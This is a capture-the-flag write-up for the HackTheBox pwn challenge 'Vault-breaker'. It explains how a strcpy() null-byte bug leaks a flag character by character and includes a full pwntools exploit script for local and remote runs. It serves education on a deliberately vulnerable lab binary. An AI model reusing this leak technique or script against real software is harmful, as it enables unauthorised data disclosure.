Vault-breaker

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

Money maker, Big Boy Bonnie has a crew of his own to do his dirty jobs. In a tiny little planet a few lightyears away, a custom-made vault has been found by his crew. Something is hidden inside it, can you find out the way it works and bring it to Bonnie?

Solution Approach

Core idea: Stack-Based Exploitation. Exploiting strcpy() bug to leak data.

Steps

1. In this challenge we're given a 64 bit binary, dynamically linked, and not stripped.

BINARY PROTECTIONS

1. After decompiled the binary and analyzed the secure_password() function which is the second menu option.

2. I found no vuln and it just perform safe XOR operation for the flag strings.

3. But the bug is at the 1st menu option which is the new_key_gen() function.

4. It checks whether the user input has null byte, then it shall printed out the original char.

5. Well the vuln is at the strcpy(), if we're using strcpy() it does copy the nullbyte (at the end of the strings). For secure coding practice better using memcpy().

6. Anyway the exploit here, is we can leak the flag char one by one by set a position manually for the nullbyte.

7. As we know the program accepts 31 bytes and there's a memset which set 32 bytes of 0 at first.

8. So rather we leak it from the left, we can leak it more easily from the right using for loop.

SCRIPT TEMP

for i in range(0x1F, -1, -1):
    print('[INFO] Iter: ', i)
    sh.sendlineafter(b'>', b'1')
    sh.sendlineafter(b':', str(i))

1. After we leak all the character then we open the second menu to get the flag.

FULL SCRIPT

from pwn import *
import os 

os.system('clear')

def start(argv=[], *a, **kw):
    if args.REMOTE:
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:
        return process([exe] + argv, *a, **kw)

exe = './vault-breaker'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'DEBUG'

sh = start()

### exploit starts

### 0x1F == 31

for i in range(31, -1, -1):
    print('[INFO] Iter: ', i)
    sh.sendlineafter(b'>', b'1')
    sh.sendlineafter(b':', str(i))

sh.sendlineafter(b'>', b'2')

sh.interactive()

TEST LOCALLY

1. Great we got it locally, but notice we failed to leak the }. Kinda confused why because our local flag length is 24.
2. Anyway let us send it remotely.

REMOTELY

NOTES:

The binary at the remote server is very unstable, took me a while to get the flag remotely,i keep terminate and spawn the host again and again.
Because if you tried to leak it manually without the script, you'll notice few char can't be leaked and when you restart the host, it can be leaked.

Flag

REDACTED

Lessons Learned

1. Stack-Based Exploitation.
2. Exploiting strcpy() bug to leak data.